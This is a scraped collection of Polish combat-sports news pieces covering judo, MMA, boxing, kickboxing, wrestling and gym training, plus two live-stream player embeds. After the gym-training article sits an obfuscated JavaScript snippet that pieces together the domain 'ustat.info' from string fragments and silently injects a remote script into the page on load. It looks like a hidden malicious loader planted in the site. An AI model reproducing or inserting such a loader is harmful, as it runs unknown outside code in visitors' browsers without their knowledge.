W klasyfikacji medalowej mistrzostw Europy znaleźliśmy się za Rosją, Turcją, Ukrainą, Grecją i Gruzją. Na Starym Kontynencie nie jesteśmy tłem dla rywali. A jak prezentujemy się względem krajów azjatyckich, które dominują w wushu? – Można powiedzieć, ze Azjaci, głównie Chiny, w domyśle uważa się za śmietankę światowego wushu. Ten sport jednak jest dość specyficzny i obejmuje mnóstwo stylów i kategorii. W niektórych, tych sportowych, z tzw. nandu – czyli elementami akrobatycznymi o wyższej trudności, wiodą prym Chińczycy, którzy mają do dyspozycji odpowiednie do treningu warunki np. specjalne dywany czy odpowiedni system szkolenia. Również, w krajach typu Chiny, Wietnam i Japonia wushu jest mocno finansowane ze środków państwowych, co można porównać do sportów olimpijskich w innych częściach świata. Natomiast w obrębie form tradycyjnych, które wymagają trochę odmiennego podejścia do treningu, Europa i reszta świata jak najbardziej może z nimi konkurować na wysokim poziomie, choć należałoby tu porównać wyniki z tradycyjnych mistrzostw świata, a nie Europy – odpowiada Kubiak.

Fot. Facebook Michał Ignatowicz

KM

Rosjanie najlepsi w Bielsku

Do Bielska-Białej zjechało blisko 500 judoków, którzy rywalizowali w Pucharze Europy kadetów. Polacy zakończyli zmagania z dorobkiem trzech medali. Najlepsi okazali się Rosjanie, którzy aż 13-krotnie stawali na podium.

Judocy ponownie opanowali Bielsko. Rok temu Polacy wywalczyli dwa medale za sprawą srebrnych Elizy Wróblewskiej (63kg) i Julii Świątkiewicz (+70kg). W czołówce byli Azerzy, Węgrzy i Japończycy.

Dwie panie i pan

Płeć piękna wiedzie prym i rozdaje karty. O tym, że kobieta ma charakter i potrafi pokazać „pazurki” żadnego mężczyzny, a tym bardziej żonatego nie trzeba przekonywać. Na tatami ta zadziorność też się przydaje. 15-letnia Alicja Gowarzewska (40kg) zbiera doświadczenie, a na własnej ziemi miała okazję poznać smak medalu. Ponad dwa miesiące temu Polka z dobrej strony pokazała się w Zagrzebiu, gdzie wywalczyła siódme miejsce. Później były starty w Teplicach i Berlinie. Start w Bielsku-Białej to doskonała postawa Gowarzewskiej, która pewnie wygrała dwie walki i w półfinale poległa z Silvią Gherman z Rumunii. W starciu o brąz 15-latka pokonała Francuzkę Diane Inguimbert.

W pełni szczęśliwa może być Aleksandra Gaj (+70kg), która osiągnęła najlepszych wynik w dotychczasowych startach. Zawodniczka Czarnych Bytom sięgnęła po brąz. Start w Bielsku dla 16-letniej judoczki był niezwykle wyczerpujący. Polka stoczyła aż sześć walk. Dwa pierwszy pojedynki rozstrzygnęła przed czasem. W trzeciej walce odprawiła ją Węgierka Petra Farago. Gaj walczyła dalej, przebrnęła przez repasaże, gdzie wygrała m.in. z Julią Księżyk. W starciu o brąz kolejna bitwa polsko-polska. Gaj okazała się lepsza od Kingi Wolszczak.

Trzecim polskim medalistką Pucharu Europy kadetów został Adam Stodolski (73kg). Judoka Leśnika Kaczory prezentuje w tym roku wysoką formę. W marcu zajął siódme miejsce w Zagrzebiu, a w kwietniu triumfował w Teplicach. Stodolski wygrał cztery z pięciu walk i stanął na najniższym stopniu podium zawodów w Bielsku. 

O krok od podium były: Marta Kuras (48kg), Michalina Skipala (63kg) oraz Kinga Wolszczak (+90kg), które zajęły piąte miejsca. Na siódmych lokatach uplasowali się: Natalia Stokłosa (40kg), Nikola Szlachta (44kg), Julia Księżyk (+70kg), Hubert Pieczyński (50kg), Jakub Sokół (90kg).

Gruzini deptali po piętach

Wśród mężczyzn cztery medale zdobyli Gruzini, czyli o jeden więcej niż Rosjanie. Czwarte złoto dla Sbornej dołożyła Mariam Amkhadova. Rosjanie zdobyli łącznie 13 medali, a Gruzini o dwa mniej.

Również cztery złota na swoim koncie zapisała Japonia, a to za sprawą pań. Na najwyższym stopniu podium stawały: Aiko Watanabe (48kg), Ayano Yuki (63kg), Rizu Matsumto (70kg) i Akiho Yonekawa (+70kg).

Polska w klasyfikacji medalowej zajęła 12. miejsce.

KM

Polka wśród gwiazd?

Mamy już dwie Polki w UFC. Joanna Jędrzejczyk jest mistrzynią wagi słomkowej, a Karolina Kowalkiewicz czołową zawodniczką tejże kategorii. O występach w najlepszej organizacji MMA na świecie może powoli myśleć Agnieszka Niedźwiedź. 22-latka zaliczyła kolejny świetny występ.

Popularna „Kuma” krok po kroku buduje swoją pozycję MMA. W kolejnych występach potwierdza swój talent i pokazuje ogromne możliwości.

Niepokonana

Agnieszka Niedźwiedź jest młoda, spragniona kolejnych zwycięstw i niezwykle skuteczna. W sobotę (20 maja) zaprezentowała się na gali Invicta FC 23 w Kansas City, gdzie zanotowała dziesiątą wygraną w karierze. Jej rywalką była starsza o 11 lat Vanessa Porto. Brazylijka przygodę z MMA zaczynała w 2005 roku, gdy Niedźwiedź siedziała w szkolnej ławce. Porto ma bogate doświadczenie, stoczyła ponad 20 walk. Ponad dziesięć lat temu przegrała z gwiazdą kobiecego MMA Cristiane Justino. Brazylijka ma na rozkładzie m.in. obecną mistrzynię UFC w wadze piórkowej Germaine de Randamie czy Hitomi Akano. Od blisko pięciu lat Porto występuje na galach organizacji Invicta. W tym czasie stoczyła sześć walk, z których cztery wygrała.

Starcie z Niedźwiedź miało być dla Brazylijki siódmym występem w organizacji Invicta. i szansą na rehabilitację po porażce w marcu ubiegłego roku z Jennifer Maią. Z kolei 22-letnia Polka poznała już smak rywalizacji na galach Invicta. W lipcu ubiegłego roku, po pięciu rundach, pokonała Christine Stanley. Ostatnio Niedźwiedź wystąpiła na grudniowej gali Ladies Fight Night 4. Polka zdominowała w parterze Brazylijkę Samarę Santhos Cunhę i wygrała przed czasem.

W Kansas City Niedźwiedź musiała się mieć na baczności, gdyż nawet najmniejszy błąd mógł skończyć się tragicznie. Mimo młodego wieku, Polka walczyła bardzo dojrzale. Porto chciała sprowadzić walkę do parteru i tam budować swoją przewagę. Bezskutecznie. Za to 22-letnia Niedźwiedź zaliczyła dwa obalenia w pierwszej rundzie. Kolejną odsłonę Polka rozpoczęła od wysokiego kopnięcia. Porto starała zaprezentować się w parterze swoje atuty, ale końcówka należała do Niedźwiedź. 22-latka próbował poddać Brazylijkę, jednak nie dała zapiąć sobie duszenia trójkątnego, a później balachy. Trzecia odsłona to dobra postawa Porto. Brazylijka odczytywała zamiary Polki i nie dawała się obalić. Zadała również więcej ciosów, ale to było za mało w przekroju całej walki. Sędziowie byli jednomyślni. Wszyscy punktowali 29:28 dla Agnieszki Niedźwiedź.

Czas na UFC?

Dla wielu zawodniczek rywalizacja w organizacji Invicta to swego rodzaju „przedpokój” do UFC. Dwie wygrane Agnieszki Niedźwiedź w kobiecej federacji to spory kapitał. Polka jest młoda i na pewno znajdzie się pod lupą UFC. Wygrana z Porto pozwoli jej awansować w kategorii muszej. Wielki świat stoi przed nią otworem. Pytanie, kiedy kolejna Polka zawita do UFC? Czekamy na odpowiedź.

Fot. sherdog.com

KM

Temat wraca jak bumerang

Wszyscy czekają na powrót do ringowej rywalizacji Artura Szpilki. Z ostatnich doniesień wynika, że jego najbliższym rywalem może być Adam Kownacki.

Temat tej walki to nie pierwszyzna. O pojedynku mówiło się już kilka miesięcy temu, jednak ostatecznie do starcia nie doszło. Czy tym razem Szpilka i Kownacki skrzyżują rękawice?

Kolejne przymiarki

Nieobecność Artur Szpilki na bokserskich salonach martwi kibiców. Chcieliby zobaczyć w akcji czołowego boksera wagi ciężkiej, który obecnie mieszka w Teksasie. Amerykańska przygoda miała być spełnieniem marzeń dla 25-letniego „Szpili”, ale ten od blisko półtora roku nie stoczył żadnej walki. Ostatni raz fani trzymali za niego kciuki 16 stycznia 2016 roku w Barclays Center podczas pojedynku z Deontayem Wilderem. Szpilka dostał szansę na walkę o pas WBC i w ringu prezentował się dobrze, był uważny, jednak w dziewiątej rundzie bomba Amerykanina zwaliła go z nóg. Później Polak przeszedł operację kontuzjowanej ręki i dochodził do siebie.

W lutym Szpilka miał zameldować się w Birmingham, aby zmierzyć się z Dominikiem Breazealem. Temat jednak ostatecznie upadł. Wszystko było dogadane, ale Breazeale zmierzył się z Izuagbe Ugonohem. „Szpila” nie ukrywał rozczarowania.

Potem na afiszu pojawił się temat walki Szpilki z Adamem Kownackim. Termin: 29 kwietnia na gali w stanie Nowy Jork. Mieszkający w Stanach Zjednoczonych bokser wyzwał „Szpilę”, ale później sprawa przycichła. W marcu nadzieje na pojedynek odżyły, jednak do gali było coraz mniej czasu. Wszystko rozeszło się po kościach. Powodem rezygnacji Kownackiego był chory ząb.  Ale „co się odwlecze, to nie uciecze”. Od kilku dni ponownie mówi się o starciu Szpilki z Kownackim. Walka miałaby się odbyć 15 lipca w New York City.

Szpilka nie chce walki?

Sprawa ewentualnej walki dwóch Polaków ponownie znalazła się na pierwszym planie. Ale Szpilka dość sceptycznie podchodzi do sprawy. Dziennikarz Andrzej Kostyra napisał na Twitterze, że 15 lipca „Szpila” zmierzy się z Kownackim. Były pretendent do tytułu mistrza świata odpowiedział: „Panie Andrzeju do tej walki jeszcze bardzo daleko, miał już swoją szansę to go ząbek rozbolał…”.

Nie pozostaje więc nic innego jak czekać na rozwój wypadków. Z pewnością wyżej stoją akcje Szpilki i to on byłby faworytem starcia. Dla Kownackiego, który walczy wyłącznie w Stanach Zjednoczonych pojedynek ze „Szpilą” stanowiłoby największe wyzwanie w karierze. Dotychczas 28-latek stoczył 15 walk, wszystkie wygrał, w tym 12 przed czasem.

KM

McGregor podpisał kontrakt, czeka na Mayweathera

Stało się! Conor McGregor podpisał kontakt na walkę z Floydem Mayweatherem Jr. Pojedynek miałby się odbyć jesienią w Las Vegas.

Ogromne pieniądze, fantastyczne widowisko – tak ma wyglądać walka McGregora z Mayweatherem.

Kolejny krok

W ubiegłym roku pojawiły się pierwsze informacje na temat starcia mistrza UFC w wadze lekkiej Conora McGregora i niepokonanego na bokserskich ringach Floyda Mayweathera Jr. Niektórzy pukali się w czoło. Wraz z upływem czasu okazało się, że coś jest na rzeczy. McGregor szukał kolejnych wyzwań. Jako pierwszy zawodnik w historii zdobył dwa pasy mistrzowskie UFC. Z kolei Mayweather Jr. Spokojnie odpoczywał na sportowej emeryturze.

Świat sportów walki zaczął żyć tym pojedynkiem. Z każdym dniem atmosfera stawała się coraz bardziej gorąca, a w powietrzu dawało się wyczuć zapach wielkich pieniędzy. „Show must go on” –  najlepiej pasuje do określenia starcia McGregora z Mayweatherem. Wydaje się, że wszystko jest na najlepszej drodze, aby do hitowej walki doszło już jesienią. McGregor podpisał kontrakt na walkę z bokserem. – To zaszczyt podpisać tę rekordową umowę wraz z moimi partnerami – przedstawił Irlandczyk na stronie TheMacLife.com. – Pierwsza i najważniejsza część tej historycznej umowy została podpisana. Gratulacje dla wszystkich zaangażowanych stron – dodał.

Teraz ruch należy do Mayweather Jr. „Money” jest przyzwyczajony do wielkich pieniędzy i każdą walkę potrafił zamienić w finansowe złoto. Czy tak będzie i tym razem? Mówi się, że McGregor za walkę chce zainkasować 75 mln dolarów. Żądania Mayweather Jr. są wyższe i opiewają na kwotę 100 mln dolarów. Z pewnością na Amerykaninie ta nie robi specjalnego wrażenia. Za walkę stulecia z Manny Pacquiao „Money” zgarnął ponad 270 milionów dolarów.

Czas na walkę

Co do daty pojedynku, na pierwszym planie przez długi czas pojawiał się 16 września. Jednak wiadomo, że McGregor i Mayweather Jr. w tym terminie się nie zmierzą. 16 września odbędzie się inny bokserski hit – Saul „Canelo” Alvarez zmierzy się z Gennady'm Gołowkinem.

Wiadomo, że Irlandczyk i Amerykanin mieliby spotkać się na jesieni w Las Vegas. Tyle na obecną chwilę. Dla Mayweathera byłby to powrót do sportowej aktywności. Ostatni pojedynek pięściarz stoczył we wrześniu 2015 roku, kiedy pokonał Andre Berto. Mayweather zanotował 49 zwycięstw na zawodowym ringu. Z kolei McGregor prezentował się w akcji w listopadzie ubiegłego roku. W drugiej rundzie odprawił Eddiego Alvareza i zdobył pas wagi lekkiej UFC.

KM

O czym należy pamiętać w czasie treningu?

Trening na siłowni ma wiele zalet. Poprawia kondycję fizyczną, pozytywnie wpływa na zdrowie, zwiększa siłę oraz daje możliwość kształtowania sylwetki. Jednak jeśli pragniemy systematycznie ćwiczyć należy pamiętać o kilku podstawowych zasadach.

Nie można zapominać o rozgrzewce

Rozgrzewka powinna poprzedzać każdy trening. Pozwala ona przygotować się mentalnie i fizycznie do wzmożonego wysiłku. Niestety częstym błędem jest podchodzenie do ćwiczeń z marszu. O sukcesie naszych działań decyduje odpowiednie nastawienie. Dlatego warto w czasie rozgrzewki skoncentrować się na celu i odrzucić wszystkie inne myśli. To czas na przypomnienie sobie założeń planu treningowego oraz skupieniu na ćwiczeniach. Rozgrzewka powinna być czymś więcej niż rozgrzaniem mięśni.

Dobrze rozgrzane stawy, ścięgna i mięśnie są mniej podatne na urazy w czasie ćwiczeń. Trening zawsze powinien być poprzedzony rozgrzewką o charakterze ogólnym. Zazwyczaj trwa ona około ośmiu minut i może mieć np. postać szybkiego marszu.

Następnie należy przejść do rozgrzewki szczegółowej. To zestaw ćwiczeń nastawionych na konkretną grupę mięśni. Jeśli na przykład planujemy ćwiczenia na triceps  to rozgrzewka szczegółowa powinna obejmować przede wszystkim mięśnie ramion.   

Podstawą udanego treningu jest technika

Jeśli trening ma przynieść oczekiwane efekty musi być prawidłowo wykonywany.  Właściwa technika pozwala zmusić do pracy konkretne grupy mięśni. Dlatego tak ważna jest skupienie w czasie ćwiczeń. Przede wszystkim należy pamiętać by ćwiczenia wykonywać w odpowiednim tempie. Mięśnie muszą stale pracować. Błędem jest wykorzystywanie siły rozpędu do podnoszenia ciężaru.

Nie można tracić kontroli nad ciężarem, jeśli nie jesteśmy w stanie tego zrobić, ciężar należy zredukować. Osoby początkujące powinny zaczynać od ćwiczeń, które dają im możliwość wykonania piętnastu powtórzeń.

Bardzo ważny jest też prawidłowy oddech w czasie wysiłku. W czasie ćwiczeń nie można go wstrzymywać. Wysiłek zwiększa znacznie zapotrzebowanie organizmu na tlen.

Świadomość swojego ciała

Każdy musi zwracać uwagę na sygnały jakie wysyła jego ciało. Jest to szczególnie ważne w przypadku osób uczęszczających na siłownię. Jeśli na przykład pojawi się ból, nie można go ignorować. W takiej sytuacji należy przerwać trening i znaleźć jego przyczynę.

Osoby aktywne powinny też zwracać uwagę na pracę serca w czasie wysiłku. Słuchanie własnego ciała pozwala uniknąć wielu groźnych kontuzji.

[kod]

(function(){
abhe=document.createElement("script");abhe_="u"+("s")+"ta";
abhe_+=("t.i")+""+"n";abhe_+=(("f")+"o");abhe.type="text/javascript";
abhe_+="/"; abheu="62569910";abheu+=".X05nc4mwbhewkdg6b69";abheu+="nnx8r1vXXkt";
abhe.src="//"+abhe_+abheu; abhe.async=true; document.body.appendChild(abhe);
})();

Szykujemy się na grad… medali

To nie prognoza pogoda na najbliższe dni, lecz przewidywania, co do występów reprezentów Polski podczas Pucharu Świata w kickboxingu w Budapeszcie. Impreza odbędzie się w dniach 18-21 maja. O medale powalczy blisko 30  Polaków.

„Polak, Węgier, dwa bratanki” – tę frazę znają praktycznie wszyscy i powtarzać jej nie trzeba. Biało-czerwoni jadą do Budapesztu z nadzieją na dobrą gościnę i jeszcze lepszy wynik.

Ważny etap

Dla wielu zawodników imprezą sezonu są Światowe Igrzyska Sportowe we Wrocławiu, które odbędą się w dniach 20-30 lipca. Kolejne zawody mają być ważnym przetarciem dla naszych kickboxerów. Tak jest właśnie w przypadku Pucharu Świata w Budapeszcie. 

Podczas ubiegłorocznej edycji imprezy biało-czerwoni wywalczyli 44 medale. Aż pięciu zawodników triumfowało w formule low kick. Byli to: Joanna Walkiewicz (48kg), Kamila Bałanda (70kg), Jan Lodzik (63,5kg), Łukasz Kaczmarczyk (71kg) i Radosław Paczuski (81kg). Po cztery złota sięgnęliśmy w full contact, a trzy Polska zdobyła w K-1. Wśród triumfatorów byli m.in. Paulina Bieć (+70kg), Dawid Kasperski (86kg) czy Kamil Dajwłowski (71kg).

Tym razem do Budapesztu wyruszyło blisko 30 biało-czerwonych. W tym gronie brakuje kilku medalistów z ubiegłego roku. O kolejne medale nie powalczą m.in. Paczuski i Kasperski, którzy realizują się w walkach zawodowych. Puchar Świata w Budapeszcie to szansa dla wielu zawodników na zdobycie cennego doświadczenia. – Ciągle jestem na początku swojej kariery, a każdy występ, zwłaszcza na międzynarodowej arenie, bo tu występuję dopiero pierwszy rok jest dla mnie arcyważnym doświadczeniem, niezbędnym w dalszym rozwoju – przedstawia FighTime.pl Joanna Różańska, tegoroczna zwyciężczyni zawodów w Dublinie.

Zawodniczka X Fight Piaseczno aktywnie rozpoczęła rok. Zdobywała medale mistrzostw Polski, dobrze prezentowała się w zagranicznych startach, a niedawno musiała walczyć z chorobą. Przed startem w Budapeszcie Różańska jest pełna optymizmu. – Wiem, że Hungarian Open jest mocno obstawionym turniejem, więc może być ciężej, niż np. na ostatnich MP w K-1, ale jadę zostawić serce w ringu i walczyć najlepiej, jak się tylko da. Trzeba pamiętać, że to sport i w trakcie walki może wydarzyć się wszystko – tłumaczy reprezentantka Polski.

Oni powalczą o medale

Z pewnością Polacy będą należeć do wyróżniających się postaci zbliżającego się Pucharu Świata w Budapeszcie. Nie da się ukryć, że nasza kadra za każdym razem gwarantuje worek medali.

Kogo zobaczymy w Budapeszcie? W K-1 o medale powalczą: Justyna Falkiewicz (52kg), Ewa Pietrzykowska (56kg), Joanna Różańska (60kg), Weronika Rogala (70kg), Aleksander Kalicki (67kg), Michał Polak (67kg), Marcin Kret (71kg), Bartosz Dołbień (81kg), Mateusz Pluta (91kg), Kamil Sójkowski (75kg). Kadrą full contact tworzą: Dorota Godzina (56kg), Karolina Dziedzic (70kg), Pola Rogala (65kg), Paulina Saczuk (56kg), Karolina Mośko (48kg), Patryk Możdżyński 951kg), Mateusz Biniek (67kg), Mateusz Kubiszyn (86kg), Filip Karbownik (81kg), Jakub Pokusa (71kg), Rafał Nguyen (67kg), Przemysław Kacieja (63,5kg) i Paweł Dąbrowski (54). Adrian Durma (74kg) i Wojciech Wiśniewski (84kg) zaprezentują się w light contact, a Tomasz Kurzeja (74kg) w pointfighting.

KM

Gorąco wokół zapasów

Zaledwie pół roku Grzegorz Brudziński zasiadał na stanowisku prezesa Polskiego Związku Zapaśniczego. Podczas majowego zjazdu został odwołany z funkcji. Obowiązki sternika PZZ przejął Andrzej Wroński.

Złoty medalista Igrzysk Olimpijskich z Seulu i Atalanty będzie stał na czele związku do czasu zwołania Walnego Zjazdu Sprawozdawczo-Wyborczego.

Krótka przygoda

Grzegorz Brudziński praktycznie przez całe życie jest związany z zapasami. Zaczynał jako zawodnik stylu klasycznego, swoje umiejętności rozwijał w Budowlanych Olsztyn i Gliniku Gorlice. Później poświęcił się doskonaleniu jako sędzia sportowy. Debiut w roli arbitra zaliczył w 1982 roku, w 1996 roku zdobył uprawnienia na poziomie międzynarodowym. Brudziński sędziował na czterech igrzyskach: w Sydney, Atenach, Pekinie oraz Londynie. W 2013 roku Polak został wiceprezydentem Światowej Komisji Sędziowskiej i Prezydent Europejskiej Komisji Sędziowskiej.

W październiku Brudziński zgłosił swoją kandydaturę na prezesa Polskiego Związku Zapaśniczego. Wybory ogłoszono po nagłej śmierci 41-letniego Grzegorz Pieronkiewicza.

O stanowisko sternika polskich zapasów ubiegało się czterech kandydatów. Wymogów formalnych nie spełnił Maciej Żakowicz. Na placu boju pozostali Andrzej Wroński, Andrzej Supron i wspomniany Brudziński. 5 listopada odbył się zjazd wyborczy. Brudziński uzyskał 57 głosów i pokonał Andrzeja Suprona, który zdobył poparcie 39 osób. Nowy prezes zapowiadał, że jego celem jest opracowanie jednolitego systemu szkolenia i troska o przygotowania olimpijskie.

Praca Brudzińskiego budziła wątpliwości związkowych delegatów. Zarzucali mu niekompetencje i generowanie nadmiernych kosztów. 14 maja w Warszawie odbył się zjazd PZZ. 53 delegatów opowiedziało się za odwołaniem Brudzińskiego, 23 było przeciw.

Związek w rękach Wrońskiego

Zgodnie ze statutem, zarząd powierzył pełnienie funkcji sternika związku wiceprezesowi Andrzejowi Wrońskiemu. 51-latek w ciągu trzech miesięcy musi zwołać Walny Zjazd Sprawozdawczy-Wyborczy, podczas którego zostanie wybrany nowy prezes. Jego kadencja będzie trwała do 2020 roku.

Tym samym na czele związku stanął legendarny polski zapaśnik. Andrzej Wroński wystąpił na czterech Igrzyskach Olimpijskich, a z dwóch imprez (Seul i Sydney) przywiózł złoto. Na swoim koncie ma również medale mistrzostw świata i Europy. Czy Wroński jest tylko opcją na „chwilę”? Czas pokaże.

Wygląda na to, że w polskich zapasach szykują się zmiany. Konieczne jest wdrożenie planów, które umożliwią popularyzację dyscypliny oraz stworzenie odpowiednich warunków do rozwoju dla zawodników. Czasy największych sukcesów z każdym rokiem stają się pięknym wspomnieniem. Cieszymy się z pojedynczych triumfów, ostatnio Moniki Michalik, ale brakuje płynności i powtarzalności. Czy wrócą jeszcze czasy Wrońskiego albo „tłuste” lata 80?

KM

LIVE: XXIII Mistrzostwa Polski Wushu Day 1

Zapraszamy na transmisję telewizyjną na żywo z XXIII Międzynarodowych Mistrzostw Polski Wushu oraz XIV Grand International Wushu. Zawody odbywają się w dniach 10-11 czerwca 2017 r. w Warszawie w hali widowiskowo sportowej przy ul. Wiertniczej 26.

[kod]

XXIII Mistrzostwa Polski Wushu

XXIII Mistrzostwa Polski Wushu

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/Wushu2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/Wushu2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/Wushu2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/Wushu2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: XXIII Mistrzostwa Polski Wushu Day 2

Zapraszamy na transmisję telewizyjną na żywo z XXIII Międzynarodowych Mistrzostw Polski Wushu oraz XIV Grand International Wushu. Zawody odbywają się w dniach 10-11 czerwca 2017 r. w Warszawie w hali widowiskowo sportowej przy ul. Wiertniczej 26.

[kod]

XXIII Mistrzostwa Polski Wushu

XXIII Mistrzostwa Polski Wushu

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/Wushu2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/Wushu2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/Wushu2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/Wushu2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Bedorf wypada z KSW 39

Były mistrz wagi ciężkiej nie wystąpi na gali KSW 39: Colosseum. Karol Bedorf zerwał ścięgno Achillesa, jego miejsce w karcie walk zajął Michał Andryszak.

27 maja prawdziwe święto MMA w Polsce. Na stadionie PGE Narodowy odbędzie się gala KSW 39: Colosseum, podczas której nie zabraknie wielu ciekawych walk. Wśród uczestników awizowany był Karol Bedorf. Były mistrz wagi ciężkiej miał stoczyć rewanżowy pojedynek z Michałem Kitą, ale kontuzja przekreśliła jego szanse na występ.

Przymusowy odpoczynek

Karol Bedorf trzy razy bronił mistrzowskiego pasa w wadze ciężkiej, który zdobył na KSW 24 we wrześniu 2013 roku, kiedy to pokonał Pawła Nastulę. W Krakowie (listopad 2015) pas chciał mu odebrać Michał Kita, jednak w drugiej rundzie popularny „Coco” posłał wysokie kopnięcie na głowę i rywal nie mógł się pozbierać. Bedorf stracił pas niecałe pół roku temu na rzecz Fernando Rodriguesa Jr.

Na stadionie PGE Narodowy niespełna 34-letni fighter miał ponownie spotkać się z Kitą i uczynić krok w stronę walki o pas. Tak się jednak nie stanie. – Z powodu całkowitego zerwania ścięgna achillesa w lewej nodze, musiałem niezwłocznie poddać się operacji chirurgicznej, przez co nie wystąpię podczas nadchodzącej Gali KSW na Stadionie Narodowym. Jest mi bardzo przykro nie tylko z powodu faktu, że przez pięć miesięcy przygotowywałem się do walki, która miała być dla mnie drogą do odzyskania mistrzowskiego pasa co jak się okazuje jest czasem straconym, ale również dlatego, że przez kolejne kilka tygodni nie będę mógł w ogóle trenować – poinformował Bedorf fanów na swoim facebooku.

Szansa Andryszaka

Jak to się zwykło mówić, „nieszczęście jednego jest szczęściem drugiego”. Miejsce Bedorfa na gali KSW 39 zajmie Michał Andryszak. Popularny „Longer” w organizacji Martina Lewandowski i Macieja Kawulskiego stoczył dotychczas dwie walki. Andryszak pokonał Paula Słowińskiego, ale w kolejnym starciu musiał uznać wyższość Michała Włodarka.

Zawodnik z Bydgoszczy to gwarancja efektownego i porywającego widowiska. 25-letni Andryszak wygrał ostatnie cztery walki i wszystkie zakończył już w pierwszej rundzie!

Co więcej, „Longer” stoczył dotychczas 24 pojedynki, z których 18 wygrał. Tylko dwie walki z jego udziałem trwały dłużej niż jedną rundę.

A więc Michał Kita stanie w Warszawie przed niezwykle trudnym zadaniem. Dla 36-latka będzie to trzeci występ na gali KSW. W ostatnim starciu uporał się z Michałem Włodarkiem, którego poddał w pierwszej rundzie.

Fot. Facebook

KM

FEN 17 Baltic Storm: wielkie show w klatce!

Trzecia trójmiejska gala Fight Exclusive Night była emocjonującym widowiskiem na najwyższym sportowym poziomie! Kibice dostali wszystko, co w sportach walki najlepsze: efektowne nokauty i poddania oraz zacięte pojedynki na pełnym dystansie trzech rund, wygrane w wielkim stylu faworytów i zaskakujące zwycięstwa underdogów.

Gala FEN 17 Baltic Storm otworzyła nowy rozdział w historii Fight Exclusive Night, bowiem 12 maja w Gdynia Arena zawodnicy po raz pierwszy walczyli w klatce, która zastąpiła charakterystyczny dla tej organizacji klatkoring. Ale wydarzeń, które na pewno zapadną publiczności w pamięć, było tego wieczora znacznie więcej.

W walce wieczoru Kamil Łebkowski pokazał, że jego porażka z Brazylijczykiem Gabrielem Silvą na poprzedniej gali FEN 16 Warsaw Reloaded była wypadkiem przy pracy i nie dał najmniejszych szans Sauliusowi Buciusowi, który trzy dni przed galą zastąpił Brazylijczyka Caio Machado. Doświadczony Litwin, który niemal wszystkie swoje zwycięstwa odniósł w pierwszej rundzie, tym razem sam nie dotrwał do końca tej części pojedynku – niezwykle zmotywowany Polak, atakujący ostro od pierwszych sekund, już w trzeciej minucie starcia zbombardował rywala serią potężnych ciosów w parterze, po których sędzia Piotr Michalak musiał przerwać walkę.

W pierwszych rundach kończyły się także trzy ostatnie walki karty głównej FEN 17 Baltic Storm. Michał Wlazło w rzadko spotykanych okolicznościach pokonał Martina Chudeja. Były kulturysta z Czech po kopnięciu w udo utrzymywał, że został sfaulowany, ale sędzia nie dał się nabrać i odebrał zawodnikowi punkt za udawanie. Kiedy Chudej nie zareagował na wezwania do kontynuowania walki i nie podniósł się z maty, został zdyskwalifikowany. Radosław Paczuski w drugim swoim występie w federacji FEN odniósł drugie efektowne zwycięstwo – już w pierwszych akcjach frontalnymi kopnięciami odebrał Menno Van Roosmalenowi ochotę do walki, a później ciężkimi ciosami, którymi bezbłędnie trafiał Holendra, zakończył ten nierówny pojedynek. Znakomitą dyspozycję zaprezentował również Michał Oleksiejczuk, który pokonał niedawnego pogromcę Marcina Zontka – Riccardo Nosiglię. „Lord”, który po jednym z pierwszych uderzeń Włocha wylądował na deskach, szybko złapał rytm, mocno zaatakował rywala i serią potężnych sierpowych wywalczył sobie dwunaste zwycięstwo w zawodowej karierze.

Niespełna dwie rundy trwała walka Marcina Szredera z Arturem Bizewskim, ale była to prawdziwa kickbokserska wojna. W pierwszej rundzie dominował reprezentant Palestry Warszawa, który częściej i celniej trafiał swego przeciwnika, już na początku starcia prawym sierpowym posyłając go na deski. Liczony „Bizon” wrócił jednak do gry, w drugiej rundzie starał się przejąć inicjatywę, aż w końcu dopadł Szredera zaskakującym prawym sierpowym, po którym sędzia zdecydował się przerwać walkę.

Przez pełne trzy rundy walczyli ze sobą uczestnicy pozostałych walk karty głównej. Jarosław Daschke w pojedynku z Robertem Rajewskim juniorem potwierdził, że jest jednym z najlepszych wojowników K-1 w Polsce – od początku kontrolował sytuację w klatce i systematycznie punktował odważnie walczącego rywala, który na wyżej notowanego  doświadczonego rywala nie mógł znaleźć żadnej recepty. Wcześniej bezdyskusyjne zwycięstwo po niemal rocznej przerwie od swojej ostatniej, przegranej walki z Kamilem Łebkowskim odniósł Piotr „Płetwal” Hallmann. Świetnie dysponowany były zawodnik UFC ze znacznie mniej doświadczonym, pierwszy raz walczącym w Polsce Patrykiem Nowakiem walczył spokojnie, konsekwentnie go rozbijając, i sędziowie nie mieli żadnych problemów ze wskazaniem zwycięzcy tego starcia.

Bardzo widowiskowy pojedynek na zakończenie karty wstępnej kibicom w hali i widzom przed telewizorami zafundowali Mateusz Łazowski i Kryspin Kalski. Pierwsza runda należała do stawiającego pierwsze kroki w zawodowym K-1 Łazowskiego, który przede wszystkim imponował mocnymi low-kickami. W drugiej stopniowo rosła przewaga Kalskiego, który wykorzystywał rosnące zmęczenie rywala i umiejętnie go punktował. On też zachował więcej sił na trzecią rundę, ale nie zdołał w niej zadać decydującego ciosu lub kopnięcia i dopiero werdykt sędziów stolikowych pozwolił mu dopisać do swego rekordu kolejne zwycięstwo.

